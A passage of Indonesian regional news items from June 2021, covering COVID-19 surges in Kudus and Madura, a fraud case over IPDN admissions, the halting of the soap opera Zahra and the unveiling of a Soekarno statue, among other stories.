terus disiplin protokol kesehatan, laksanakan penyekatan mobilitas masyarakat untuk mencegah terjadinya penyebaran, termasuk dari luar Kabupaten Grobogan," ujar Panglima. Di akhir pengarahannya, Panglima juga mengingat pemerintah daerah terkait dengan pelaksanaan vaksinasi untuk kelompok lansia agar kekebalan kelompok dapat terwujud. Usai melaksanakan rapat, Panglima TNI meninjau pelaksanaan vaksinasi di RSUD Dr.R. Soedjati Soemodiardjo Kabupaten Grobogan yang diikuti oleh 500 orang dibagi dalam lima gelombang dengan tim RSUD 21 vaksinator, TNI 8 vaksinator, Polri 8 vaksinator, dan pemda 8 vaksinator dengan total 45 vaksinator. Dalam peninjauan vaksinasi Panglima TNI menyampaikan agar terus melaksanakan disiplin protokol kesehatan dan jangan lupa menggunakan masker, mencuci tangan, dan menghindari kerumunan. "Walau telah divaksin, bukan berarti kebal terhadap COVID-19," kata Panglima mengingatkan kepada masyarakat. Turut hadir dalam kegiatan ini Pangkogabwilhan II Marsdya TNI Imran Baidirus, S.E., Pangdam IV/Diponegoro Mayjen TNI Rudianto, Kapolda Jawa Tengah Irjen Pol. Drs. Ahmad Luthfi, S.H., S.St., M.K, Forkopimda Kabupaten Grobogan, serta para pejabat utama TNI dan Polri. Sebelumnya, Panglima TNI bersama Kapolri Jenderal Pol. Listyo Sigit Prabowo dan Kepala BNPB Ganip Warsito meninjau penanganan COVID-19 di beberapa daerah di Jawa Tengah. Sebelum ke Grobokan, rombongan telah mengunjungi Blora, Pati, dan Kudus. (sws)

Ryaas Rasyid Ingatkan Pentingnya Etika dalam Tegaknya Pemerintahan

Jakarta, FNN - Ketua Dewan Penasihat Masyarakat Ilmu Pemerintahan Indonesia (MIPI) Ryaas Rasyid menilai etika pemerintahan penting bagi jalannya sebuah negara. Ryass menjelaskan bahwa pedoman pemerintahan tidak hanya berkaitan dengan undang-undang dan konstitusi, tetapi juga menyangkut etika yang dapat menilai salah dan benar sebuah tindakan. "Etika sendiri merupakan kesepakatan moral tentang bagaimana menjalani hidup ini dan mengejar tujuan bersama. Jadi, etika itu pilar ketiga dari tegaknya sebuah pemerintahan," ujar Ryaas dalam keterangan tertulis di Jakarta, Minggu. Jika tiga hal itu tersedia, lanjut dia, barulah sebuah pemerintahan dapat dikatakan memiliki pedoman yang lengkap. Hal itu juga disampaikan Ryass dalam seminar nasional bertajuk Quo Vadis Etika Pemerintahan Indonesia? yang digelar MIPI. Ryaas menjelaskan bahwa negara mesti membangun etika pemerintahan untuk menopang tujuannya, yakni memberikan manfaat bagi masyarakat. Tujuan inilah yang diperjuangkan orang-orang zaman dahulu yang ikut berjuang memerdekakan Indonesia. Paling tidak, kata Ryaas, masyarakat dapat memiliki ketenteraman, dan ini menjadi tugas paling awal bagi keberadaan pemerintahan. Etika pemerintahan, lanjut Ryaas, yakni melaksanakan kebijakan sesuai dengan jalur yang benar. Ia lantas mencontohkan penanganan tindakan korupsi yang berkaitan dengan moral. Korupsi merupakan permasalahan yang berpangkal pada persoalan moral. Oleh karena itu, untuk menghentikannya tak cukup hanya dengan mengandalkan hukum. Menurut dia, mencegah korupsi dapat melalui pendidikan moral dan membangun kesadaran berintegritas. Cara ini membuat seseorang terhindar dari perilaku korup meski seandainya undang-undang terkait dengan korupsi dihapus. "Karena Anda mempunyai moral ethics yang menahan Anda dan mencegah Anda untuk melakukan perbuatan-perbuatan yang merugikan negara dan orang banyak," ujarnya. Di sisi lain, kata Ryaas, pemimpin juga harus memiliki otoritas moral yang menjadi contoh teladan bagi orang banyak. Dengan demikian, masyarakat maupun orang banyak bakal malu bertindak menyeleweng karena melihat sosok pemimpinnya. "Kekuasaan tidak bisa dikelola tanpa basis moral yang cukup," katanya menegaskan.

Ketua DPRD Bogor Populerkan Aksara Sunda

Cibinong, FNN - Ketua DPRD Kabupaten Bogor, Jawa Barat, Rudy Susmanto ingin mempopulerkan Aksara Sunda pada momentum peringatan Hari Jadi Bogor (HJB) ke-539 yang jatuh pada 3 Juni 2021. "Masyarakat Kabupaten Bogor harus bangga terhadap kebudayaannya sendiri di tengah pergaulan internasional," ungkapnya di Cibinong, Bogor, Minggu. Menurut dia, sebagai langkah awal mempopulerkan, aksara Sunda dalam narasi petuah bijak dengan kaidah desain grafis mulai dipamerkan di lobby utama Gedung DPRD sejak 3 Juni 2021. Rudy mengatakan, sebagai produk seni komunikasi visual, aksara Sunda juga menjadi media pengingat bahwa Kabupaten Bogor merupakan salah satu wilayah di tataran Sunda. "Sudah mulai menggunakan di lobby DPRD terpampang foto-foto kesenian Sunda yang bertuliskan aksara Sunda, itu sebagai penyadaran pemula terhadap kebanggaan akan kebudayaan Sunda," kata Rudy. Ke depan, ia juga akan meminta pada Sekretariat DPRD Kabupaten Bogor untuk menambahkan aksara Sunda di plang nama DPRD dan plang nama ruang rapat paripurna DPRD Kabupaten Bogor. "Kita akan dorong juga untuk dinas-dinas agar mempopulerkan aksara Sunda di setiap kantornya, nama jalan dan ruang publik lainnya. mudah-mudahan ke depannya Kabupaten Bogor menjadi daerah yang membangun wilayah dan masyarakatnya dengan kearifan lokal," terang politisi Partai Gerindra itu. Di samping itu, aksara Sunda jika ditempatkan secara proporsional produk kearifan lokal dapat menjadi daya ungkit berbagai program pemerintah memulihkan ekonomi di tengah pandemi. "Aksara dan bahasa Sunda memiliki estetika baik secara visual maupun vokal. Jadi, nantinya bisa dikombinasikan antara aksara dan bahasa sunda, bahasa Indonesia dan juga bahasa Inggris sebagai bahasa internasional. Ini sejalan dengan program pemerintah mempromosikan sport city and tourism di Kabupaten Bogor," ujar Rudy. Ia menambahkan, menampilkan kekayaan budaya lokal juga akan membangkitkan kebanggaan warga Kabupaten Bogor akan jati diri. Kata dia, keluhuran nilai budaya Sunda sangat relevan untuk diterapkan di era globalisasi saat ini. (sws)

PKS Nilai Wali Kota Medan Belum Wujudkan Janji Kampanye 100 Hari Kerja

Medan, FNN - Fraksi Partai Keadilan Sejahtera (PKS) DPRD Kota Medan, Sumatera Utara, menilai kepemimpinan Wali Kota dan Wakil Wali Kota Medan Bobby Nasution-Aulia Rachman belum mewujudkan janji sewaktu kampanye di 100 hari kerja. "Di 100 hari kerja, warga kota masih menunggu janji-janji Wali Kota dan Wakil Wali Kota, seperti pengembangan UMKM (Usaha Mikro, Kecil dan Menengah), dan tidak lagi banjir," kata Anggota Fraksi PKS DPRD Kota Medan Rudiawan Sitorus di Medan, Minggu. Namun politisi PKS ini mengapresiasi atas kinerja Wali Kota yang dilantik 26 Februari 2021 karena memiliki semangat kerja yang tinggi dan merupakan generasi milenial, sehingga sempat melakukan beberapa gebrakan di periode 100 hari kerja. Di antaranya menertibkan Aparatur Sipil Negara (ASN) yang berstatus pejabat di lingkungan Pemkot Medan terkait pungutan liar, dan penanganan banjir di sebagian kecil wilayah Kota Medan. "Tapi itu, belum maksimal. Kami terus mendukung kebijakan, dan program Wali Kota yang berpihak kepada masyarakat. Fraksi PKS di DPRD juga siap memberikan saran-saran, dan ide-ide bagi kemajuan pembangunan Kota Medan," ungkapnya. Pria yang juga menjabat sebagai Sekretaris DPD PKS Kota Medan mengaku akan terus mengawal semua janji-janji kampanye Wali Kota dan Wakil Wali Kota Medan agar benar-benar diwujudkan kepada warga setempat. "PKS akan mengawal seluruh program berjalan, dan seluruh janji kampanye agar direalisasikan kepada masyarakat Kota Medan," tutur Rudiawan. (sws)

2.757 Pekerja Chevron Pacific Indonesia Jadi Pekerja Pertamina Grup

Pekanbaru, FNN - Sebanyak 2.757 pekerja Chevron Pacific Indonesia siap bergabung menjadi calon pekerja Pertamina Grup, menjelang alih kelola Blok Rokan dari PT Chevron Pacific Indonesia (CPI) ke Pertamina Hulu Rokan (PHR) pada 9 Agustus 2021. "Selamat datang kepada 2.757 pekerja Chevron Pacific Indonesia, calon pekerja Pertamina Grup," kata Direktur Utama PT Pertamina (Persero) Nicke Widyawati melalui keterangan resmi Pjs. SVP Corporate Communications & Investor Relations, Fajriyah Usman, Minggu. Menurut dia, alih kelola ke Pertamina sebagai perusahaan nasional akan memberi manfaat yang lebih luas lagi bagi negara dari sisi pengelolaan dan penerimaan negara serta memperkuat posisi Pertamina sebagai salah satu lokomotif pembangunan dan perekonomian nasional. Perusahaan, katanya, juga memiliki amanah dan tugas mulia yakni diberi target memproduksi migas 1 juta barel pada tahun 2030, sehingga dibutuhkan komitmen dan dedikasi seluruh elemen pekerja khususnya Subholding Upstream untuk dapat mewujudkan cita-cita ini. Direktur Utama PT Pertamina Hulu Energi sebagai Subholding Upstream Budiman Parhusip menjelaskan bahwa ke depan Blok Rokan akan dikelola oleh PHR di bawah naungan PT Pertamina Hulu Energi selaku Subholding Upstream. "Saat ini, PHR mengelola Wilayah Kerja dan Asset Hulu di Wilayah Sumatera yang dikenal dengan Regional 1-Sumatera Subholding Upstream," katanya. Ia menjelaskan, dengan sistem Regionalisasi ini, antara Wilayah Kerja dan Aset yang saling berdekatan khususnya Sumatera dalam hal ini, dapat dilakukan optimalisasi lapangan dan efektifitas pengembangan operasi. Sehingga dengan bergabungnya Pekerja CPI juga akan lebih membuka kesempatan pengembangan karir. Direktur Utama PHR Jaffee Arizon Suardin menambahkan penjelasan mengenai PHR yang juga sebagai Regional 1-Sumatera di Subholding Upstream Pertamina bahwa PHR, selain mengelola blok Rokan, juga mengelola seluruh blok atau wilayah kerja Pertamina di Sumatera. "Kita ingin tumbuh secara signifikan dan sustainable dengan fokus pada semua potensi yang masih bisa dikembangkan. Business Continuity untuk mempertahankan bahkan meningkatkan produksi serta safety dan reliability tetap menjadi yang utama dalam melaksanakan pekerjaan," katanya. Pertamina melalui PHR juga akan memastikan transfer operatorship berjalan lancar sehingga bisa menyelesaikan program di tahun 2021 dan tumbuh signifikan pada tahun-tahun berikutnya," kata Jaffee. (sws)

Tim SAR Cari Dua Warga Luwu Timur di Danau Towuti

Kendari, FNN - Tim pencarian dan pertolongan Basarnas Kendari melakukan pencarian dua warga Kabupaten Luwu Timur, Sulawesi Selatan yang dilaporkan perahunya terbalik di Danau Towuti daerah setempat. Kepala Basarnas Kendari Aris Sofingi melalui rilis Basarnas Kendari, Senin dini hari mengatakan pihaknya menerima informasi kejadian tersebut dari Kepala Desa Loeha, Kabupaten Luwu Timur bernama Salim. "Kami menerima informasi itu pukul 22.15 Wita dari Bapak Salim, Kepala Desa Loeha yang melaporkan bahwa pada pukul 19.00 Wita satu buah longboat dengan POB (person on board) lima orang terbalik dan tenggelam di Danau Towuti, tiga orang telah ditemukan selamat dan dua orang belum ditemukan," kata Aris. Ia menyampaikan, hingga pihaknya menerima informasi kejadian itu, pencarian masih dilakukan oleh pihak terkait dan masyarakat setempat. "Berdasarkan laporan tersebut, pada pukul 22.30 Wita Tim Rescue Unit Siaga SAR Sorowako yang masih merupakan wilayah kerja dari Kantor Basarnas Kendari diberangkatkan bersama Tim Reaksi Cepat BPBD Luwu Timur menuju lokasi kejadian kecelakaan untuk memberikan bantuan SAR," ujar dia. Dikatakannya, jarak tempuh dari Unit Siaga SAR Sorowako ke Pelabuhan Tinampo sekitar 47 km, jarak tempuh di air dari Pelabuhan Tinampo menuju perkiraan lokasi kejadian sekitar 12 km. "Kronologi kejadian, pada pukul 16.00 Wita sebuah longboat dengan POB lima orang bertolak dari Desa Mahalona menuju Desa Loeha, saat diperjalanan di Danau Towuti sekitar pukul 19.00 Wita longboat terbalik dan tenggelam," jelas Aris. (sws)

Lonjakan Covid-19 di Madura Menggila

Bangkalan, FNN - Kasus COVID-19 di Madura mengalami lonjakan tajam. Polres Pelabuhan Tanjung Perak, Surabaya mengambil langkah antisipasi untuk menghentikan angka penyebarannya, yakni dengan melakukan penyekatan di jembatan Suramadu. Petugas melakukan tes swab massal bagi pengendara yang hendak masuk Kota Pahlawan, dari Jembatan Suramadu di pos penyekatan Polres Pelabuhan Tanjung Perak Surabaya, sisi selatan Jembatan Suramadu, Jawa Timur, Minggu (06/6/2021). Tes swab massal tersebut sebagai upaya untuk menekan jumlah penularan Covid-19 menyusul adanya klaster penularan Covid-19 baru pasca Lebaran. Apalagi dalam dua hari terakhir ini juga terjadi lonjakan kasus Covid-19 di Bangkalan Madura.Dinas Kesehatan Jawa Timur menyebut, lonjakan kasus Covid-19 di Bangkalan memaksa manajemen RSUD setempat menutup layanan Instalasi Gawat Darurat (IGD) pada Sabtu (05/6). Sejumlah tenaga kesehatan yang bertugas menangani pasien covid-19 di RSUD Bangkalan dinyatakan positif corona dan salah seorang dokter dilaporkan meninggal dunia.Merujuk data Satgas Penanganan Covid-19 Jatim per 5 Juni 2021, kasus kumulatif Covid-19 di Bangkalan tercatat ada sebanyak 1.754 kasus. 1.520 dinyatakan sembuh, 178 meninggal dunia dan sebanyak 56 pasien masih dirawat. Lonjakan tersebut diduga karena tingginya mobilitas masyarakat saat momen mudik Idul Fitri beberapa waktu lalu. Disisi lain, tingkat kepatuhan masyarakat Bangkalan terhadap protokol kesehatan juga masih rendah. Kapolres Pelabuhan Tanjung Perak, Surabaya, AKBP Ganis Setyaningrum mengatakan, penyekatan mulai dilakukan oleh pihaknya pukul 10.00 WIB, Minggu (6/6/2021). Pihaknya menyekat kendaraan di Jembatan Suramadu, jalur Madura ke Surabaya. "Karena ada peningkatan kasus positif (COVID-19) di Madura," ujarnya dikonfirmasi. Dalam giat penyekatan, sambung Ganis, petugas akan mengecek kelengkapan pengendara, seperti KTP hingga surat bebas COVID-19. Apabila diketahui berasal dari tiga kabupaten yang sedang mengalami lonjakan kasus dan tidak punya surat bebas COVID-19, maka dites swab antigen di cek poin. "Cek KTP tiga wilayah di Madura yang diduga sedang tinggi COVID-19," ucapnya. Berdasarkan data Satgas Penanganan COVID-19 Jatim, kasus aktif di Madura ada 56 di Kabupaten Bangkalan, delapan di Sampang dan tiga di Pamekasan pada Sabtu (5/6/2021). Sebelumnya, Kepala Dinas Kesehatan Jatim, dr. Herlin Ferliana menyampaikan peningkatan kasus terbanyak dilaporkan di Bangkalan. Bahkan, RSUD setempat menutup layanan Instalasi Gawat Darurat (IGD) sejak per Sabtu (5/6/2021). "Iya kelihatannya sudah mulai terjadi peningkatan kasus ini setelah liburan panjang, itu yang kami khawatirkan," ungkap dia. "Di Bangkalan, terjadi peningkatan kasus, dan benar, direktur RSnya karena ada yang dokter spesialis radiology yang meninggal, lalu ada beberapa nakes juga terkonfirmasi positif, sehingga mereka mulai hari ini menutup IGDnya," pungkasnya. (ant)

Lonjakan Covid-19 di Kudus Makin Mengkhawatirkan

Kudus, FNN – Kasus Covid-19 di Kudus, Jawa Tengah menggila. Drastisnya lonjakan kasus itu disebut akibat warga yang nekat menggelar tradisi saat Lebaran 2021. Ada dua tradisi yang disebut jadi biang kerok meningkatnya kasus Corona di Kusud. Pertama, wisata religi berupa ziarah. Kedua tradisi kupatan yang biasa digelar 7 hari pasca Lebaran. Tim Satgas Percepatan Penanganan Covid-19 Kabupaten Kudus, Jawa Tengah, mencatat penambahan 183 kasus Covid-19. Dengan demikian, total kasus aktif mencapai 1.413 orang. "Lonjakan kasus saat ini merupakan tambahan kasus sebelumnya yang hasil tes usap tenggorokan PCR-nya belum keluar karena masuk daftar antrean," kata Bupati Kudus, Hartopo, Sabtu (5/6). Juru bicara Satgas Penanganan COVID-19 Wiku Adisasmito dalam jumpa pers virtual, Jumat (4/6/2021) mengatakan bahwa keadaan ini terjadi sebagai dampak dari adanya kegiatan wisata religi berupa ziarah, serta tradisi kupatan yang dilakukan oleh warga Kudus, 7 hari pasca-Lebaran. Hal ini memicu kerumunan dan meningkatkan penularan di tengah masyarakat. Hal ini diperparah dengan banyaknya tenaga kesehatan di sana yang saat ini telah menderita COVID-19 yaitu sebanyak 189 orang dan rumah sakit yang belum menerapkan secara tegas dan disiplin zonasi merah kuning dan hijau, triase pasien COVID-19 dan non COVID-19 serta keluarga pasien. Contoh dari ini adalah masih adanya pasien COVID-19 di rumah sakit yang didampingi oleh keluarganya, yang keluar masuk wilayah rumah sakit tanpa screening. Wiku mengungkapkan, akibat tradisi itu, kasus COVID-19 di Kudus meningkat 30 kali lipat. Persentase kenaikan kasus Corona di Kudus bahkan jauh lebih tinggi dengan skala nasional. Dampaknya, hampir seluruh rumah sakit rujukan COVID-19 penuh terisi. "Kudus mengalami kasus positif secara signifikan dalam satu minggu, yaitu naik lebih dari 30 kali lipat. Dari 26 kasus menjadi 929 kasus. Hal ini menjadikan kasus di Kudus menjadi sebanyak 1.280 kasus atau 21,48 persen dari total kasus positifnya. Ini adalah angka yang cukup besar bila dibandingkan kasus aktif nasional yang hanya 5,47%," papar Wiku. "Adanya kenaikan kasus positif ini menyebabkan tempat tidur ruang isolasi dan ruang ICU rujukan di COVID-19 mengalami kenaikan tajam. Bahkan per tanggal 1 Juni lebih dari 90% dari seluruh tempat tidur terisi. Ini adalah kondisi yang sangat memprihatinkan," sambungnya. Wiku kemudian mengingatkan kepada satgas penanganan COVID-19 di daerah lain untuk dapat mengantisipasi sebaran COVID-19. Khususnya mencegah kerumunan kegiatan keagamaan. "Mohon agar satgas daerah dapat mengantisipasi tradisi dan budaya di wilayahnya masing-masing sehingga dapat segera menentukan penanganan dan kebijakan terbaik yang bisa dilakukan, agar kasus tidak meningkat tajam seperti di Kudus. Kami juga berharap pemerintah daerah dapat langsung melakukan koordinasi dengan pemerintah pusat, utamanya apabila terdapat kesulitan untuk melakukan penanganan medis," ucapnya. Panglima TNI Turun Tangan Panglima TNI Marsekal Hadi Tjahjanto memimpin rapat terbatas (ratas) penanganan kasus COVID-19 di Kabupaten Kudus, Jawa Tengah sebagai tindak lanjut dari melonjaknya angka kasus positif di wilayah tersebut. Ratas tersebut berlangsung di sela kunjungan kerja Panglima TNI bersama Kapolri Jenderal Listyo Sigit Prabowo dan Kepala Badan Nasional Penanggulangan Bencana (BNPB) Letjen TNI Ganip Warsito, Minggu, dihadiri pula Gubernur Jawa Tengah Ganjar Pranowo dan Bupati Kudus HM Hartopo. Dalam arahannya, Panglima TNI meminta semua pihak bekerja intensif dalam menurunkan angka kasus positif COVID-19 di Kabupaten Kudus, agar kembali ke zona hijau lagi. "Pak Bupati dan Dinas Kesehatan Kabupaten Kudus memiliki tanggung jawab, karena saat ini 60 desa yang menjadi zona merah, agar menjadi hijau kembali, Tentunya harus memiliki sistem yang baik," ujar Panglima TNI dalam keterangan tertulisnya. Panglima meminta Dandim dan Kapolres Kudus serta jajarannya harus membantu Bupati, agar terbentuk sistem yang baik dalam penanganan COVID-19 di wilayah itu. Menurut Panglima TNI, kabupaten lain di Jawa Tengah telah melakukan strategi penebalan Satgas Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro serta meningkatkan fungsi posko yang ada di PPKM Mikro tersebut. Panglima menambahkan, adanya Kepala Dinas Kesehatan dan Plt Kepala Dinkes Kabupaten Kudus yang terkonfirmasi positif COVID-19 menunjukkan bahwa kesadaran masyarakat harus lebih ditingkatkan agar virus SARS-CoV2 tidak semakin menyebar dan menyebabkan tenaga kesehatan harus bekerja lebih ekstra. "Setiap desa harus ada satu Posko PPKM Mikro agar zona merah menjadi kuning dan akhirnya menjadi hijau. Tugasnya menegakkan protokol kesehatan, membantu dan mendata pelaksanaan PCR dan segera dilakukan pemisahan untuk isolasi jika sudah terkonfirmasi positif," ujar Panglima TNI. Panglima TNI dan Kapolri juga meminta kepada semua pihak tak hanya TNI dan Polri, agar lebih intensif dalam penanganan COVID-19 di Kudus, termasuk para tokoh masyarakat setempat juga untuk aktif membangun kesadaran disiplin protokol kesehatan bagi masyarakat. Turut hadir dalam rapat terbatas tersebut Pangkogabwilhan II Marsdya TNI Imran Baidirus, Pangdam IV/Diponegoro Mayjen TNI Rudianto, Kapolda Jawa Tengah Irjen Polisi Ahmad Luthfi, Forkopimda Kabupaten Kudus serta para Pejabat Utama TNI dan Polri. (dtk,ant)

Satgas Pamtas RI-Timor Leste Kembali Terima Senjata Api dari Warga

Kupang, FNN - Satuan Tugas Pengamanan Perbatasan (Satgas Pamtas) RI-Timor Leste kembali menerima satu pucuk senjata api yang diserahkan warga Desa Tubu, Kabupaten Timor Tengah Utara, Nusa Tenggara Timur. "Senjata api berjenis senapan tumbuk diserahkan warga bapak AN (72) di Pos Ninulat," kata Komandan Satgas RI-Timor Leste Sektor Barat Yonarmed 6/3 Kostrad Letkol Arm Andang Radianto ketika dikonfirmasi, Minggu. Kepemilikan senjata api itu diketahui bermula dari kegiatan pembangunan rumah adat di Desa Tubu yang dilakukan secara bergotong royong antara personel satgas pamtas dengan masyarakat setempat. Dalam perbincangan, warga AN menyampaikan bahwa di rumah adat tersebut terdapat senjata api jenis senapan tumbuk yang sudah lama disimpannya. Kepemilikan senjata api itu belum pernah dilaporkan kepada pihak berwajib dikarenakan yang bersangkutan mengaku merasa takut melapor, katanya. "Jadi ketika anggota satgas pamtas hendak pamit pulang setelah selesai membantu pembangunan rumah adat, AN menahan mereka dan dan menyampaikan bahwa ia menyimpan senjata api," katanya. Saat ini senjata api tersebut telah diserahkan melalui tokoh adat dan sudah diamankan di Pos Ninulat dan selanjutnya akan diserahkan ke Mako Satgas Pamtas RI-Timor Leste Sektor Barat. Andang Radianto mengapresiasi kesadaran warga yang secara suka rela menyerahkan senjata api untuk diamankan secara baik serta personel satgas pamtas yang juga terus mengedukasi warga. Penyerahan senjata api oleh warga ini bukan baru pertama kali, namun juga dilakukan sebelumnya di beberapa desa di wilayah perbatasan Satgas Pamtas RI-Timor Leste mencatat sudah 12 pucuk senjata api yang sebelumnya diserahkan warga di wilayah perbatasan di sejumlah kabupaten yaitu Timor Tengah Utara, Malaka, dan Kabupaten Kupang. (sws)

Oknum ASN Pemkot Tanjungpinang Akui Tipu Korban Seleksi Masuk IPDN

Tanjungpinang, FNN - Seorang oknum Aparatur Sipil Negara (ASN) Pemerintah Kota (Pemkot) Tanjungpinang, Kepulauan Riau (Kepri) yang menjadi tersangka kasus penipuan Vina Saktiani mengakui perbuatannya telah menipu seorang warga Tarmizi, dengan iming-iming anak korban lulus seleksi masuk Institut Pemerintahan Dalam Negeri (IPDN). "Saya berupaya membantu, karena korban datang meminta bantuan agar anaknya bisa masuk IPDN. Sebelumnya ada saudara yang masuk IPDN dan lulus, setelah mengikuti bimbel IPDN,” kata Vina, di Kantor Polres Tanjungpinang, Sabtu. Kepada korban, Vina meminta uang pelicin sebesar Rp300 juta untuk disetor kepada Panitia Penerimaan Praja Baru IPDN. Namun, kenyataannya anak korban tetap gagal masuk ke IPDN. Vina mengakui uang Rp300 juta itu telah dibagikan sebesar Rp60 juta kepada A, seorang pengajar dan kepala seksi pemegang soal seleksi. "Selain A, uang sebesar Rp200 juta dibagikan kepada Z, seorang dosen dan kabag IPDN," ujarnya. Kasatreskrim Polres Tanjungpinang AKP Rio Reza Parindra menyatakan hasil penyelidikan tidak ditemukan oknum-oknum penerima uang yang dimaksud oleh tersangka Vina. Polisi menduga uang itu digunakan tersangka Vina untuk kebutuhan pribadinya. “Kami sudah selidiki orang-orang yang dimaksud berada di Jatinangor itu tidak ada, dan pengakuan tersangka baru sekali ini, melakukan perbuatannya. Jika ada korban lain yang merasa dirugikan oleh tersangka, silakan melapor,” kata Kasatreskrim. Menurut Reza, Vina telah mengembalikan uang korban sebesar Rp190 juta yang diberikan dengan dua kali pembayaran, sehingga kerugian korban tinggal Rp110 juta. Namun hingga diancam korban melapor ke polisi, tersangka belum juga mengembalikan sisa kerugian korban, sehingga, akhirnya korban melaporkan tersangka ke polisi. Saat ini Vina sudah ditahan di sel tahanan Polres Tanjungpinang. Atas perbuatannya, tersangka dikenakan Pasal 378 dan atau Pasal 372 KUHP dengan ancaman pidana empat tahun penjara. (sws)

Ketua Komisi I DPR Dukung KPI Hentikan Sinetron Zahra

Jakarta, FNN - Ketua Komisi I DPR RI Meutya Hafid mendukung dan menyetujui langkah Komisi Penyiaran Indonesia (KPI) menghentikan sinetron "Suara Hati Istri: Zahra” di salah satu stasiun televisi swasta. “Kami mengapresiasi reaksi cepat dari teman-teman KPI untuk segera menegur stasiun televisi hingga menghentikan sinetron ini. Sangat memprihatinkan stasiun televisi memberikan tontonan yang melanggar Pedoman Perilaku Penyiaran dan Standar Program Siaran (P3SPS) KPI," kata Meutya dalam keterangan tertulis di Jakarta, Minggu. Menurut dia, KPI juga perlu menegur keras rumah produksi yang telah memproduksi dan meng-casting pemeran utama yang masih tergolong anak-anak tersebut, bahkan cerita yang tidak mendidik. “Pasal 14 ayat (2) P3SPS telah menyebut lembaga penyiaran wajib memperhatikan kepentingan anak dalam setiap aspek produksinya. Dalam sinetron ini jelas-jelas menampilkan seorang anak yang masih berusia 15 tahun bersama laki-laki yang sudah berusia 39 tahun, yang berarti mendukung pernikahan di bawah umur, poligami, dan pedofilia, sangat melecehkan perempuan dan tidak patut ditonton masyarakat Indonesia,” jelas Meutya. Meutya Hafid juga meminta stasiun televisi untuk meningkatkan kualitas acara-acaranya. Di tengah dunia digital saat ini, begitu banyak tayangan di platform Over-the-Top (OTT), stasiun televisi harusnya bisa bersaing dan memberikan tayangan yang berkualitas. "Banyak keluhan dari masyarakat yang masuk ke saya terkait sejumlah acara di televisi yang ceritanya tidak masuk akal dan tidak pantas ditonton masyarakat apalagi anak-anak. Mari bersama-sama kita memberikan pencerdasan kepada masyarakat,” ungkap Meutya. Sebelumnya pada 5 Juni 2021, KPI dalam laman resminya mengumumkan penghentian sementara sinetron Suara Hati Istri – Zahra. Keputusan tersebut diterima Indosiar melalui Direktur Programnya, Hersiwi Achmad yang menyatakan akan menghentikan sementara sampai rumah produksi menutup sementara cerita dan menyusun alur cerita lanjutannya. Sinetron Suara Hati Istri – Zahra langsung menyedot perhatian masyarakat sejak 24 Mei 2021. Tayangan itu menceritakan seorang pria yang memiliki istri tiga. Istri ketiga dikisahkan seorang pelajar SMA yang dipaksa menikah untuk menutup utang orang tuanya. (sws)

Megawati-Prabowo Resmikan Patung Bung Karno

Jakarta, FNN - Presiden Kelima RI Megawati Soekarnoputri dan Menteri Pertahanan (Menhan) RI Prabowo Subianto meresmikan patung Proklamator Soekarno sedang menunggang kuda, di halaman depan Kompleks Kantor Kementerian Pertahanan, di Jalan Medan Merdeka Barat, Jakarta Minggu (06/21). Sebelum peresmian, Menhan Prabowo menjelaskan bahwa Bung Karno bukan saja Presiden Pertama Indonesia, namun juga Proklamator Kemerdekaan sekaligus penggagas ideologi yang mempersatukan bangsa Indonesia yaitu Pancasila. "Bangsa yang besar adalah bangsa yang menghormati jasa-jasa pahlawannya," kata Menhan Prabowo dalam keterangannya, di Jakarta, Minggu. Hal itu dikatakan Prabowo saat peresmian patung Soekarno yang acaranya dilaksanakan secara virtual. Patung Bung Karno tersebut terinspirasi dari peristiwa ketika Panglima Tertinggi Pertama Angkatan Perang Republik Indonesia tersebut menginspeksi pasukan dalam acara peringatan hari ulang tahun pertama tahun 1946. Prabowo mengatakan sudah sepantasnya saat ini generasi penerus mengenang jasa Bung Karno. Menurut dia, patung Bung Karno tersebut bukan bagian dari kultus individu, bukan memuja-muja sejarah masa lalu, tapi ini adalah pewarisan nilai-nilai kebangsaan. "Generasi muda harus mengerti dan sadar darimana kita berasal, kita tak serta-merta mendapat hadiah kemerdekaan, namun kemerdekaan itu direbut dengan darah, keringat, dan air mata," ujarnya. Dia menjelaskan bahwa patung Bung Karno tersebut terinspirasi dari kejadian pada 5 Oktober 1946, saat itu, sebagai panglima tertinggi angkatan perang, Bung Karno menjadi inspektur upacara. Menurut dia, para pemimpin tentara saat itu meminta Bung Karno melakukan inspeksi pasukan dengan naik kuda, dan Bung Karno membutuhkan waktu tiga hari untuk menjadi mahir naik kuda. "Marilah bersama berjuang agar nilai-nilai beliau tetap akan bertahan dan dipertahankan seluruh generasi penerus di hari dan tahun yang akan datang," katanya. Prabowo berharap agar cita-cita Bung Karno bisa terwujud, yaitu Indonesia berdiri di atas kaki sendiri, dihormati seluruh bangsa di dunia, dan rakyat Indonesia meraih kesejahteraan, kemakmuran, dan keadilan. Sebelum meresmikan patung Bung Karno, Megawati berbicara sebagai Presiden Kelima RI sekaligus mewakili keluarga besar Bung Karno. Dia mengucapkan terima kasih dan penghormatan secara khusus kepada Menhan Prabowo. Menurut Megawati, peresmian ini sangat spesial karena bertepatan dengan peringatan hari lahir ke-120 Bung Karno. "Jadi sungguh menurut kami keluarga, sangat istimewa," kata Megawati. Menurut dia, momentum tersebut tidak hanya mengingatkan kepada seluruh perjuangan Putra Sang Fajar tersebut, seluruh perjuangan dan cita-citanya bagi NKRI. Megawati menjelaskan, banyak capaian yang dilakukan Bung Karno saat memimpin Indonesia dari awal kelahirannya, yang diakui dunia. Dia mencontohkan peran kunci Bung Karno pada Konferensi Asia-Afrika tahun 1955, yang saat ini diakui PBB sebagai sebuah "heritage of the world". "Sehingga sebagai bangsa Indonesia, sebenarnya kita seharusnya bangga bahwa sebuah konferensi yang mungkin tidak akan ada lagi mengenai Asia-Afrika itu menjadi milik dunia," ujarnya. Selain itu, menurut Megawati, ada Gerakan Non-Blok, "Conference of the New Emerging Forces", hingga konferensi antipangkalan militer asing. Pada waktu itu, sebenarnya sedang direncanakan juga konferensi tri kontinental tiga benua. "Peresmian patung Bung Karno tersebut menjadikan seluruh api sejarah perjuangan bangsa bergelora kembali dan bagi kita menjadikan sebuah api semangat yang tidak kunjung padam sebagai energi perjuangan untuk membawa bangsa ini semakin berdaulat semakin maju dalam seluruh aspek kehidupan, namun tetap kokoh pada karakter dan budaya bangsa," ujarnya. Megawati atas nama seluruh keluarga besar Bung Karno menyampaikan terima kasih atas kehormatan yang sangat luar biasa atas dibangunnya patung Bung Karno di Kantor Kemhan, Jakarta. Dalam kesempatan tersebut, Megawati hadir bersama anggota keluarganya, yaitu putranya Prananda Prabowo bersama istri Nancy Prananda, dan Sekretaris Jenderal 